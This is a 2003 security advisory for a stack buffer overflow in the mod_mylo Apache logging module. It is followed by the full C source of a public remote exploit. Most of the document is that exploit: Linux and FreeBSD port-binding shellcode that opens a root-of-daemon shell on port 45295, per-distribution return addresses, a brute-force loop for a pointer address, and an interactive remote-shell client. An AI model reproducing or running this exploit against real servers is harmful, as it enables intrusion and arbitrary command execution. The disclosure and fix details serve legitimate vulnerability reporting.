CLIVITT-2003-5.txt

`________________________________________________________________________  
  
Security Vulnerability Advisory  
________________________________________________________________________  
  
Product: mod_mylo (Apache 1.3.x module)  
Versions: <= 0.2.1  
Author: Øyvind Grønnesby  
Homepage: http://www.pvv.ntnu.no/~oyving/code/mod_mylo/  
Platforms: Linux/BSD  
Impact: Remote code execution  
Advisory: CLIVITT-2003-5  
Author: Carl Livitt (carllivitt at hush dot com)  
Date: July 28, 2003  
  
________________________________________________________________________  
  
Problem Description:  
  
Mod_mylo is an Apache module designed to log HTTP requests to a MySQL  
database.  
  
Insufficient bounds checking on a buffer in the logging section of the  
code could allow a remote attacker to overwrite saved data on the stack  
and execute commands under the privileges of the Apache daemon user,  
typically 'www'.  
  
This software is so unpopular it probably only affects a handful of  
users. The main category of people affected will probably be those that  
have FreeBSD and mod_mylo installed from the ports collection.  
  
________________________________________________________________________  
  
Problem Details:  
  
In the main logging function, mylo_log(), there is a buffer on the  
stack called reqstr:  
  
char query[MYLO_MAXQLEN], reqstr[MYLO_MAXQLEN];  
  
This is poulated by a call to mysql_real_escape_string():  
  
mysql_real_escape_string(connection, reqstr, r->the_request,  
strlen(r->the_request));  
  
The upper length of data to be placed into reqstr[] is determined by  
the length of the HTTP request, not the length of the reqstr[] buffer.  
Thus, it is possible to construct a large HTTP request containing some  
shellcode and a malicious RET address, overwrite the saved EIP and  
execute arbitrary machine code in the context of the Apache user.  
  
A exploit string would generally be sent to port 80 of the target box  
and would look like this:  
  
GET AAAAAAA(4104 A's[linux] / 4096 A's[freeBSD])RRRRPPPP  
  
Where RRRR is a malicious EIP and PPPP is the address of a pointer  
to an Apache request_rec structure that _must_ be valid in order for  
the exploit to succeed. The pointer needs to be reconstructed because  
overwriting EIP sets the least significat 8-bits of the pointer to  
NULL. The address of this pointer can be brute-forced without much  
trouble.  
  
_______________________________________________________________________  
  
Vendor notification timeline:  
  
17 July 2003: Notified author  
19 July 2003: Author responded to say fix will be out in 1 week  
28 July 2003: New package tested and available.  
  
_______________________________________________________________________  
  
Updated Packages:  
  
Fixed, non-vulnerable version of the module is available from:  
  
http://www.pvv.ntnu.no/~oyving/code/mod_mylo/  
  
Versions >= 0.2.2 are not vulnerable, all others are exploitable.  
  
________________________________________________________________________  
  
Advisory Author Details:  
  
Email: carllivitt at hush dot com  
  
_______________________________________________________________________  
  
Exploit Sourcecode:  
  
/*  
Apache + mod_mylo remote exploit  
By Carl Livitt / July 2003  
carllivitt at hush dot com  
  
Public release - Linux and FreeBSD targets.  
*/  
#include <sys/types.h>  
#include <sys/stat.h>  
#include <sys/socket.h>  
#include <net/if.h>  
#include <netinet/in.h>  
#include <netinet/tcp.h>  
#include <arpa/inet.h>  
#include <stdio.h>  
#include <string.h>  
#include <unistd.h>  
#include <signal.h>  
#include <netdb.h>  
#include <time.h>  
#include <stdarg.h>  
  
#define SIZ 8096  
#define HTTP_PORT 80  
#define SHELL_PORT 45295  
#define SOCKET_ERR -2  
#define CONNECT_ERR -3  
#define HOST_NOT_RESOLVED -4  
#define BRUTE_FORCE_EXHAUSTED -5  
#define SHELL_NOT_FOUND -7  
#define SUCCESS 1  
#define FAILED 0  
  
// The following shellcode had 0x3f (?) chars in it which  
// cause termination of our HTTP GET before the whole  
// shellcode is written to the stack. The 0x3f's are  
// needed because they are the dup2() syscall numbers. So,  
// I've changed them to 0x3e's and INC'd them before doing  
// an INT 0x80. Other than that, this shellcode is eSDee's.  
// --------  
// linux x86 shellcode by eSDee of Netric (www.netric.org)  
// 200 byte - forking portbind shellcode - port=0xb0ef(45295)  
char linux_shellcode[]=  
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1"  
"\x06\x51\xb1\x01\x51\xb1\x02\x51"  
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80"  
"\x89\xc1\x31\xc0\x31\xdb\x50\x50"  
"\x50\x66\x68\xb0\xef\xb3\x02\x66"  
"\x53\x89\xe2\xb3\x10\x53\xb3\x02"  
"\x52\x51\x89\xca\x89\xe1\xb0\x66"  
"\xcd\x80\x31\xdb\x39\xc3\x74\x05"  
"\x31\xc0\x40\xcd\x80\x31\xc0\x50"  
"\x52\x89\xe1\xb3\x04\xb0\x66\xcd"  
"\x80\x89\xd7\x31\xc0\x31\xdb\x31"  
"\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"  
"\x80\x31\xc0\x31\xdb\x50\x50\x57"  
"\x89\xe1\xb3\x05\xb0\x66\xcd\x80"  
"\x89\xc6\x31\xc0\x31\xdb\xb0\x02"  
"\xcd\x80\x39\xc3\x75\x40\x31\xc0"  
"\x89\xfb\xb0\x06\xcd\x80\x31\xc0"  
"\x31\xc9\x89\xf3\xb0\x3e\xfe\xc0\xcd\x80"  
"\x31\xc0\x41\xb0\x3e\xfe\xc0\xcd\x80\x31"  
"\xc0\x41\xb0\x3e\xfe\xc0\xcd\x80\x31\xc0"  
"\x50\x68\x2f\x2f\x73\x68\x68\x2f"  
"\x62\x69\x6e\x89\xe3\x8b\x54\x24"  
"\x08\x50\x53\x89\xe1\xb0\x0b\xcd"  
"\x80\x31\xc0\x40\xcd\x80\x31\xc0"  
"\x89\xf3\xb0\x06\xcd\x80\xeb\x99";  
  
// This shellcode is unchanged (why reinvent the wheel ?):  
// --------  
/* BSD x86 shellcode by eSDee of Netric (www.netric.org)  
* 194 byte - forking portbind shellcode - port=0xb0ef(45295)  
*/  
char freebsd_shellcode[]=  
"\x31\xc0\x31\xdb\x53\xb3\x06\x53"  
"\xb3\x01\x53\xb3\x02\x53\x54\xb0"  
"\x61\xcd\x80\x89\xc7\x31\xc0\x50"  
"\x50\x50\x66\x68\xb0\xef\xb7\x02"  
"\x66\x53\x89\xe1\x31\xdb\xb3\x10"  
"\x53\x51\x57\x50\xb0\x68\xcd\x80"  
"\x31\xdb\x39\xc3\x74\x06\x31\xc0"  
"\xb0\x01\xcd\x80\x31\xc0\x50\x57"  
"\x50\xb0\x6a\xcd\x80\x31\xc0\x31"  
"\xdb\x50\x89\xe1\xb3\x01\x53\x89"  
"\xe2\x50\x51\x52\xb3\x14\x53\x50"  
"\xb0\x2e\xcd\x80\x31\xc0\x50\x50"  
"\x57\x50\xb0\x1e\xcd\x80\x89\xc6"  
"\x31\xc0\x31\xdb\xb0\x02\xcd\x80"  
"\x39\xc3\x75\x44\x31\xc0\x57\x50"  
"\xb0\x06\xcd\x80\x31\xc0\x50\x56"  
"\x50\xb0\x5a\xcd\x80\x31\xc0\x31"  
"\xdb\x43\x53\x56\x50\xb0\x5a\xcd"  
"\x80\x31\xc0\x43\x53\x56\x50\xb0"  
"\x5a\xcd\x80\x31\xc0\x50\x68\x2f"  
"\x2f\x73\x68\x68\x2f\x62\x69\x6e"  
"\x89\xe3\x50\x54\x53\x50\xb0\x3b"  
"\xcd\x80\x31\xc0\xb0\x01\xcd\x80"  
"\x31\xc0\x56\x50\xb0\x06\xcd\x80"  
"\xeb\x9a";  
  
struct {  
char *platform;  
unsigned long bruteStart, bruteEnd;  
unsigned long retAddr;  
int offset, len;  
char *shellcodePtr;  
} targets[]= {  
{ "SuSE 8.1, Apache 1.3.27 (installed from source) (default)", 0x08117c04, 0x08117dff, 0xbfffe9f0, 500, 4104, linux_shellcode },  
{ "RedHat 7.2, Apache 1.3.20 (installed from RPM)", 0x08105104, 0x081051ff, 0xbfffe0b0, 1000, 4104, linux_shellcode },  
{ "RedHat 7.3, Apache 1.3.23 (installed from RPM)", 0x080ef304, 0x080ef3ff, 0xbfffe190, 750, 4104, linux_shellcode },  
{ "FreeBSD 4.8, Apache 1.3.27 (from Ports)", 0x080bf004, 0x080bf0ff, 0xbfbfea50 ,3500, 4096, freebsd_shellcode },  
NULL  
};  
  
char usage[]=  
"Apache + mod_mylo remote exploit\n"  
"By Carl Livitt (carllivitt at hush dot com)\n\n"  
"Arguments: \n"  
" -t target Attack 'target' host\n"  
" -T platform Use parameters for target 'platform'\n"  
" -h This help.\n";  
  
void my_send(int, char *, ...);  
void my_recv(int);  
void make_exploitbuf(char *);  
int connect_to_host(int);  
int attempt_exploit(void);  
void my_sleep(int n);  
  
unsigned long retAddr=0,magic_r=0,MAGIC_R_START,MAGIC_R_END, exactPointerAddy=0;  
char buf[SIZ], host[SIZ]="";  
int useTarget=0;  
struct hostent *hostStruct;  
  
main(int argc, char **argv) {  
int ch, i;  
  
while((ch=getopt(argc, argv, "t:T:e:hr:"))!=-1) {  
switch(ch) {  
case 't':  
strncpy(host, optarg, SIZ-1);  
break;  
case 'T':  
useTarget=atoi(optarg);  
break;  
case 'e':  
exactPointerAddy=strtoul(optarg,NULL,16);  
break;  
case 'r':  
retAddr=strtoul(optarg,NULL,16);  
break;  
case 'h':  
default:  
printf("%s\n",usage);  
printf("Available platforms:\n");  
for(i=0;targets[i].platform;i++)  
printf("%2d. %s\n", i, targets[i].platform);  
printf("\n");  
exit(0);  
break; // it's good practice :)  
}  
}  
  
// Sanity check  
if(!retAddr && exactPointerAddy) {  
printf("[*] You must give RET address when specifying a pointer address\n");  
printf(" A good place to start is 0xbfffe0b0(linux) or 0xbfbfe0b0(freeBSD)\n");  
printf(" Also remember to pass a -T x flag... things will be unpredictable\n");  
printf(" if you don't!\n");  
exit(0);  
}  
  
if((hostStruct=gethostbyname(host))==NULL) {  
printf("[*] Couldn't resolve host %s\nUse '%s -h' for help\n", host,argv[0]);  
exit(0);  
}  
  
switch(attempt_exploit()) {  
case HOST_NOT_RESOLVED:  
printf("[*] Couldn't connect to host: %s not found.\n", host);  
break;  
case SOCKET_ERR:  
printf("[*] Couldn't grab a socket!\n");  
break;  
case CONNECT_ERR:  
printf("[*] Connection to %s was rejected\n",host);  
break;  
case SHELL_NOT_FOUND:  
printf("[*] This attempt failed ...\n");  
break;  
case BRUTE_FORCE_EXHAUSTED:  
printf("[*] Bruteforce failed.\n");  
break;  
case SUCCESS:  
break;  
default:  
printf("[*] ERROR: There was no error!\n");  
break;  
}  
  
printf("\nHave a nice day!\n");  
exit(0);  
}  
  
int attempt_exploit(void) {  
fd_set rfds;  
int sock,retVal,r;  
  
if(exactPointerAddy) {  
printf("[-] Using 0x%08x for pointer addy\n", exactPointerAddy);  
if((sock=connect_to_host(HTTP_PORT))<=0)  
return sock;  
magic_r=exactPointerAddy;  
make_exploitbuf(buf);  
my_send(sock, buf);  
my_recv(sock);  
close(sock);  
my_sleep(100000);  
if((sock=connect_to_host(SHELL_PORT))<=0) {  
return sock;  
}  
} else { // Do crappy bruteforce loop  
printf("[-] Attempting attack [ %s ] ...\n", targets[useTarget].platform);  
MAGIC_R_START=targets[useTarget].bruteStart;  
MAGIC_R_END=targets[useTarget].bruteEnd;  
retAddr=targets[useTarget].retAddr;  
for(magic_r=MAGIC_R_START; magic_r<=MAGIC_R_END; magic_r++) {  
printf("[-] Trying 0x%08x ... \r", magic_r);fflush(stdout);  
if((sock=connect_to_host(HTTP_PORT))<=0)  
return sock;  
make_exploitbuf(buf);  
my_send(sock, buf);  
my_recv(sock);  
close(sock);  
my_sleep(50000);  
if((sock=connect_to_host(SHELL_PORT))>=SUCCESS) {  
printf("\n[-] Found request_rec address @ 0x%08x\n", magic_r);  
break;  
}  
}  
if(magic_r>MAGIC_R_END)  
return BRUTE_FORCE_EXHAUSTED;  
}  
  
printf("[-] Connected to %s! You can type commands now:\n", host);  
  
// Now let the attacker issue commands to the remote  
// shell, just as if (s)he had launched 'nc host 45295'.  
do {  
FD_ZERO(&rfds);  
FD_SET(0, &rfds);  
FD_SET(sock, &rfds);  
retVal=select(sock+1, &rfds, NULL, NULL, NULL);  
if(retVal) {  
if(FD_ISSET(sock, &rfds)) {  
buf[(r=recv(sock, buf, SIZ-1,0))]='\0'; // bad!  
printf("%s", buf);  
}  
if(FD_ISSET(0, &rfds)) {  
buf[(r=read(0, buf, SIZ-1))]='\0'; // bad!  
send(sock, buf, strlen(buf), 0);  
}  
  
}  
} while(retVal && r); // loop until connection terminates  
  
close(sock);  
return SUCCESS;  
}  
  
// Given a port number, connects to an already resolved hostname...  
// connects a TCP stream and returns a socket number (or returns error)  
int connect_to_host(int p) {  
int sock;  
struct sockaddr_in saddr;  
  
if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)  
return SOCKET_ERR;  
memset((void *)&saddr, 0, sizeof(struct sockaddr_in));  
saddr.sin_family=AF_INET;  
saddr.sin_addr.s_addr=*((unsigned long *)hostStruct->h_addr_list[0]);  
saddr.sin_port=htons(p);  
if(connect(sock, (struct sockaddr *)&saddr, sizeof(saddr))<0) {  
close(sock);  
return CONNECT_ERR;  
} else  
return sock;  
}  
  
void make_exploitbuf(char *b) {  
unsigned long *ptr;  
char *sc=(char *)&targets[useTarget].shellcodePtr[0];  
  
memset(b,0x00,SIZ-1);  
strcat(b,"GET ");  
memset(b+4,0x90,targets[useTarget].len);  
memcpy((b+targets[useTarget].len)-(strlen(sc)+targets[useTarget].offset)-9,sc,strlen(sc));  
ptr=(unsigned long *)&b[strlen(b)];  
*(ptr++)=retAddr;  
*ptr=magic_r;  
strcat(b, "\n\n");  
}  
  
// Handy little function to send formattable data down a socket.  
void my_send(int s, char *b, ...) {  
va_list ap;  
char *buf;  
  
va_start(ap,b);  
vasprintf(&buf,b,ap);  
send(s,buf,strlen(buf),0);  
va_end(ap);  
free(buf);  
}  
  
// Another handy function to read data from a socket.  
void my_recv(int s) {  
int len;  
char buf[SIZ];  
  
len=recv(s, buf, SIZ-1, 0);  
buf[len]=0;  
}  
  
// Wrapper for nanosleep()... just pass 'n' nanoseconds to it.  
void my_sleep(int n) {  
struct timespec t;  
t.tv_sec=0;  
t.tv_nsec=n;  
nanosleep(&t,&t);  
}  
`